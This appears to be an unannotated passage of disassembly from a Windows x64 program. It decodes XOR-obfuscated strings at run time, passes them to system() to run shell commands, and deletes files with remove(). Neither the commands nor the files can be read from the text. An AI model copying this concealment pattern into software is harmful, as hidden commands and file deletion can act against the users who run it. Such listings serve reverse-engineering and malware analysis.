mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x198], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1170], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1178], rax
movdqa xmm0, xmmword [rbp + 0x1170]
xorps xmm0, xmmword [rbp + 0x190]
movdqa xmmword [rbp + 0x190], xmm0
lea rcx, [rbp + 0x190]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 2
mov rcx, qword [0x1400898c0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0xacedc353db1957c
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x520], rax
movabs rax, 0xd19d4f2351d9465c
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x528], rax
movabs rax, 0xaaa8ba422812164d
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x530], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0x538], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x19e0], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x19e8], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0x19f0], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0x19f8], rax
vmovdqu ymm0, ymmword [rbp + 0x19e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x520]
vmovdqa ymmword [rbp + 0x520], ymm1
lea rdx, [rbp + 0x520]
vzeroupper
call fcn.140010b40
call fcn.1400077a0
call fcn.140007c70
call fcn.140008310
call fcn.1400034d0
movabs rax, 0x7fa8af505ea18c4c
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1b0], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1b8], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1180], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1188], rax
movdqa xmm0, xmmword [rbp + 0x1b0]
xorps xmm0, xmmword [rbp + 0x1180]
movdqa xmmword [rbp + 0x1b0], xmm0
lea rcx, [rbp + 0x1b0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, dword [rbp + 0xe60]
cmp edx, 1
jne 0x14000eae3
lea rcx, [0x14006e620]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x10e48f3631bd907c
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1c0], rax
movabs rax, 0xb4e526657b9a5957
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1c8], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1190], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1198], rax
movdqa xmm0, xmmword [rbp + 0x1c0]
xorps xmm0, xmmword [rbp + 0x1190]
movdqa xmmword [rbp + 0x1c0], xmm0
lea rdx, [rbp + 0x1c0]
call fcn.140010b40
call fcn.1400077a0
call fcn.140007c70
call fcn.140008310
call fcn.1400034d0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x1bc9c03c30a58f6b
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x500], rax
movabs rax, 0xdb96433751c74459
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x508], rax
movabs rax, 0x848694314d7b4a5c
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x510], rax
movabs rax, 0x69b0f777cf6c3258
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x518], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1a00], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1a08], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1a10], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1a18], rax
vmovdqu ymm0, ymmword [rbp + 0x1a00]
vpxor ymm1, ymm0, ymmword [rbp + 0x500]
vmovdqa ymmword [rbp + 0x500], ymm1
lea rdx, [rbp + 0x500]
vzeroupper
call fcn.140010b40
call fcn.1400077a0
call fcn.140007c70
call fcn.140008310
call fcn.1400034d0
movabs rax, 0xc85827032a0954c
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x9e0], rax
movabs rax, 0xc08d06111fc54659
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x9e8], rax
movabs rax, 0xcecb956d126b485d
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x9f0], rax
movabs rax, 0x1bdf9404a6081c3c
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x9f8], rax
movabs rax, 0x50ce10c2f20076f7
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xa00], rax
movabs rax, 0xf6d97cc0bb558e3b
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xa08], rax
movabs rax, 0xb0892c1d770c758
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xa10], rax
movabs rax, 0x9ca99886ae074d16
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xa18], rax
movabs rax, 0x500e0adbc18b7b62
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xa20], rax
movabs rax, 0x4322b46fd85dbbb7
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xa28], rax
movabs rax, 0xfa67fb824df09fc6
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xa30], rax
movabs rax, 0x22da3b801fc95eeb
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xa38], rax
movabs rax, 0xfc141fd7f931c89f
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xa40], rax
movabs rax, 0xeebb3e2cf1bc00f3
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xa48], rax
movabs rax, 0xc2f1ea68bb3b6f1f
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xa50], rax
movabs rax, 0x29e58df8071fe75d
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xa58], rax
movabs rax, 0xf1e61e6ef633210c
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xa60], rax
movabs rax, 0xa62206fa5f85550d
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xa68], rax
movabs rax, 0xbe12a53a084bd871
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xa70], rax
movabs rax, 0x246077c290e47c90
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xa78], rax
movabs rax, 0x402ad469f39b2350
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xa80], rax
movabs rcx, 0x2b150c510eea2324
mov qword [rbp + 8], rcx
mov rax, qword [rbp + 8]
mov qword [rbp + 0xa88], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1280], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1288], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1290], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1298], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x12a0], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0x12a8], rax
movabs rax, 0x3339a3eea404a93d
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x12b0], rax
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
mov qword [rbp + 0x12b8], rax
movabs rax, 0x603a32e8f5bf4c57
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x12c0], rax
movabs rax, 0x7711835de06c8a98
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x12c8], rax
movabs rax, 0xc957cbba75c9adf1
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x12d0], rax
movabs rax, 0x46be43af2dfd6cda
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x12d8], rax
movabs rax, 0xd1393fa48042e6fb
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x12e0], rax
movabs rax, 0xad9b4a5981c8759c
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x12e8], rax
movabs rax, 0xb59e8e06d26c3325
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x12f0], rax
movabs rax, 0x4480f98b7e4cbb2e
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x12f8], rax
movabs rax, 0x85936e00bf6f133f
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1300], rax
movabs rax, 0xe57e629537f13040
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1308], rax
movabs rax, 0xdb41f6724b178b39
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1310], rax
movabs rax, 0x5d1359a7f38d0ae2
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1318], rax
movabs rax, 0x402ab81c9da50323
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1320], rax
mov qword [rbp + 8], rcx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1328], rax
vmovdqu ymm0, ymmword [rbp + 0x1280]
vpxor ymm1, ymm0, ymmword [rbp + 0x9e0]
vmovdqa ymmword [rbp + 0x9e0], ymm1
vmovdqu ymm0, ymmword [rbp + 0xa00]
vpxor ymm1, ymm0, ymmword [rbp + 0x12a0]
vmovdqa ymmword [rbp + 0xa00], ymm1
vmovdqu ymm0, ymmword [rbp + 0xa20]
vpxor ymm1, ymm0, ymmword [rbp + 0x12c0]
vmovdqa ymmword [rbp + 0xa20], ymm1
vmovdqu ymm0, ymmword [rbp + 0xa40]
vpxor ymm1, ymm0, ymmword [rbp + 0x12e0]
vmovdqa ymmword [rbp + 0xa40], ymm1
vmovdqu ymm0, ymmword [rbp + 0xa60]
vpxor ymm1, ymm0, ymmword [rbp + 0x1300]
vmovdqa ymmword [rbp + 0xa60], ymm1
vmovdqa xmm2, xmmword [rbp + 0xa80]
vxorps xmm2, xmm2, xmmword [rbp + 0x1320]
vmovdqa xmmword [rbp + 0xa80], xmm2
lea rcx, [rbp + 0x9e0]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movabs rax, 0xc85827032a0954c
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xaa0], rax
movabs rax, 0xc08d06111fc54659
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xaa8], rax
movabs rax, 0xcecb956d126b485d
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xab0], rax
movabs rax, 0x1bdf9404a6081c3c
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xab8], rax
movabs rax, 0x50ce10c2f20076f7
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xac0], rax
movabs rax, 0xf6d97cc0bb558e3b
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xac8], rax
movabs rax, 0xb0892c1d770c758
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xad0], rax
movabs rax, 0x9ca99886ae074d16
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xad8], rax
movabs rax, 0x500e0adbc18b7b62
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xae0], rax
movabs rax, 0x4322b46fd85dbbb7
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xae8], rax
movabs rax, 0xfd64f88f40fc98c6
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xaf0], rax
movabs rax, 0x36d12e801fca5be3
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xaf8], rax
movabs rax, 0xb4415a8ab32d8294
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb00], rax
movabs rax, 0xd8eb3e2ceee558bc
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb08], rax
movabs rax, 0xdbf7d95ae82f1351
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb10], rax
movabs rax, 0x37f9aad70d3bd44a
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb18], rax
movabs rax, 0xebda32328c02764b
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb20], rax
movabs rax, 0x8a1616f07a854530
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb28], rax
movabs rax, 0x9302aa210354d75d
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb30], rax
movabs rax, 0x3a7d30c99df858b1
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb38], rax
movabs rax, 0x3544863cf8dd660d
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb40], rax
movabs rax, 0x2b150c510eea2348
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb48], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1340], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1348], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1350], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1358], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1360], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1368], rax
movabs rax, 0x3339a3eea404a93d
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1370], rax
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1378], rax
movabs rax, 0x603a32e8f5bf4c57
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1380], rax
movabs rax, 0x7711835de06c8a98
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1388], rax
movabs rax, 0xc957cbba75c9adf1
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1390], rax
movabs rax, 0x46be43af2dfd6cda
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1398], rax
movabs rax, 0xd1393fa48042e6fb
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x13a0], rax
movabs rax, 0xad9b4a5981c8759c
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x13a8], rax
movabs rax, 0xb59e8e06d26c3325
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x13b0], rax
movabs rax, 0x4480f98b7e4cbb2e
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x13b8], rax
movabs rax, 0x85936e00bf6f133f
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x13c0], rax
movabs rax, 0xe57e629537f13040
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x13c8], rax
movabs rax, 0xdb41f6724b178b39
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x13d0], rax
movabs rax, 0x5d1359a7f38d0ae2
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x13d8], rax
movabs rax, 0x402ab81c9da50323
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x13e0], rax
movabs rax, 0x2b150c510eea2324
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x13e8], rax
vmovdqu ymm0, ymmword [rbp + 0x1340]
vpxor ymm1, ymm0, ymmword [rbp + 0xaa0]
vmovdqa ymmword [rbp + 0xaa0], ymm1
vmovdqu ymm0, ymmword [rbp + 0xac0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1360]
vmovdqa ymmword [rbp + 0xac0], ymm1
vmovdqu ymm0, ymmword [rbp + 0xae0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1380]
vmovdqa ymmword [rbp + 0xae0], ymm1
vmovdqu ymm0, ymmword [rbp + 0xb00]
vpxor ymm1, ymm0, ymmword [rbp + 0x13a0]
vmovdqa ymmword [rbp + 0xb00], ymm1
vmovdqu ymm0, ymmword [rbp + 0xb20]
vpxor ymm1, ymm0, ymmword [rbp + 0x13c0]
vmovdqa ymmword [rbp + 0xb20], ymm1
vmovdqa xmm2, xmmword [rbp + 0xb40]
vxorps xmm2, xmm2, xmmword [rbp + 0x13e0]
vmovdqa xmmword [rbp + 0xb40], xmm2
lea rcx, [rbp + 0xaa0]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.1400077a0
call fcn.140007c70
call fcn.140008310
call fcn.1400034d0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x18c6c63c3cb38e6a
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x4e0], rax
movabs rax, 0x9acb400a1ed07910
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x4e8], rax
movabs rax, 0xaaa8ba4228183207
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x4f0], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0x4f8], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1a20], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1a28], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1a30], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1a38], rax
vmovdqu ymm0, ymmword [rbp + 0x1a20]
vpxor ymm1, ymm0, ymmword [rbp + 0x4e0]
vmovdqa ymmword [rbp + 0x4e0], ymm1
lea rdx, [rbp + 0x4e0]
vzeroupper
call fcn.140010b40
call fcn.1400077a0
call fcn.140007c70
call fcn.140008310
call fcn.1400034d0
mov dword [rbp + 0x2c], recv
lea rdx, [rbp + 0x2c]
lea rcx, [rbp + 0xc38]
call fcn.140002670
mov rdi, rax
lea rcx, [rbp + 0xc40]
call fcn.140002590
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0xe68]
call fcn.140010e40
lea rcx, [rbp + 0x348]
call fcn.140002590
mov rcx, qword [rbp + 0xe68]
mov qword [rbp + 0x60], rcx
mov rax, qword [rax]
mov qword [rbp + 0x18], rax
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x18]
call fcn.14000ee70
test al, al
jns 0x14000e6b0
call fcn.140008a50
call fcn.140008ba0
call qword [sym.imp.MSVCP140.dll__Xtime_get_ticks]
mov r8, rax
movabs rax, 0x8f2a633943a6d729
imul r8
add rdx, r8
sar rdx, 0x18
mov rcx, rdx
shr rcx, 0x3f
add rcx, rdx
call fcn.140009a20
mov qword [rbp + 0x340], 0xbb8
lea rdx, [rbp + 0x340]
lea rcx, [rbp + 0xc68]
call fcn.140010e60
mov rcx, rax
call fcn.1400120d0
call fcn.140008a50
call fcn.140008ba0
lea rcx, [rbp + 0x348]
call fcn.140002590
mov rcx, qword [rbp + 0xe68]
mov qword [rbp + 0x60], rcx
mov rax, qword [rax]
mov qword [rbp + 0x18], rax
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x18]
call fcn.14000ee70
test al, al
js 0x14000e617
movabs rax, 0x7fa8af505ea18c4c
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1d0], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1d8], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xf80], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0xf88], rax
movdqa xmm0, xmmword [rbp + 0x1d0]
xorps xmm0, xmmword [rbp + 0xf80]
movdqa xmmword [rbp + 0x1d0], xmm0
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.1400077a0
call fcn.140007c70
call fcn.140008310
call fcn.1400034d0
call fcn.140008720
mov edx, 2
mov rcx, qword [0x1400898c0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x10d8fc703bbc8f6b
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1e0], rax
movabs rax, 0xb4ef08021fc94c5f
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1e8], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x11a0], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x11a8], rax
movdqa xmm0, xmmword [rbp + 0x1e0]
xorps xmm0, xmmword [rbp + 0x11a0]
movdqa xmmword [rbp + 0x1e0], xmm0
lea rdx, [rbp + 0x1e0]
call fcn.140010b40
call fcn.1400077a0
call fcn.140007c70
call fcn.140008310
call fcn.1400034d0
movabs rax, 0x10ccc139098eda6c
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x5a0], rax
movabs rax, 0xd191551c22fc5947
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x5a8], rax
movabs rax, 0xdfd8d40b742a0b44
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x5b0], rax
movabs rax, 0x35d4981fbb097f26
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x5b8], rax
movabs rax, 0x6ff23bafde235fd0
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x5c0], rax
movabs rax, 0xfe9f78cfa64f8161
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x5c8], rax
movabs rax, 0x3339a3eea404cc45
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x5d0], rax
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
mov qword [rbp + 0x5d8], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1920], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1928], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1930], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1938], rax
movabs rdi, 0x3da173ec82701793
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1940], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1948], rax
movabs rax, 0x3339a3eea404a93d
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1950], rax
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1958], rax
vmovdqu ymm0, ymmword [rbp + 0x1920]
vpxor ymm1, ymm0, ymmword [rbp + 0x5a0]
vmovdqa ymmword [rbp + 0x5a0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x5c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1940]
vmovdqa ymmword [rbp + 0x5c0], ymm1
lea rcx, [rbp + 0x5a0]
vzeroupper
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
movabs rax, 0x10ccc139098eda6c
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x760], rax
movabs rax, 0xd191551c22fc5947
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x768], rax
movabs rax, 0xdfd8d40b742a0b44
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x770], rax
movabs rax, 0x35d4981fbb097f26
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x778], rax
movabs rax, 0x6ef23bafde235fd0
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x780], rax
movabs rax, 0xe89f7ac2a6579d71
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x788], rax
movabs rax, 0x3339a3eea404da44
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x790], rax
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
mov qword [rbp + 0x798], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1960], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1968], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1970], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1978], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1980], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1988], rax
movabs rax, 0x3339a3eea404a93d
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1990], rax
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1998], rax
vmovdqu ymm0, ymmword [rbp + 0x1960]
vpxor ymm1, ymm0, ymmword [rbp + 0x760]
vmovdqa ymmword [rbp + 0x760], ymm1
vmovdqu ymm0, ymmword [rbp + 0x780]
vpxor ymm1, ymm0, ymmword [rbp + 0x1980]
vmovdqa ymmword [rbp + 0x780], ymm1
lea rcx, [rbp + 0x760]
vzeroupper
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov edx, dword [rbp + 0xe60]
cmp edx, 0x64
jne 0x14000ec90
movabs rax, 0xbc08f242cb3945c
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbe0], rax
movabs rax, 0xdd81094a4bd35a44
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbe8], rax
movabs rax, 0xcdcf94265a775b5a
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbf0], rax
movabs rax, 0x24c09226975f587d
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xbf8], rax
movabs rax, 0x3da173ec821e5af1
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xc00], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0xc08], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1240], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1248], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1250], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1258], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1260], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
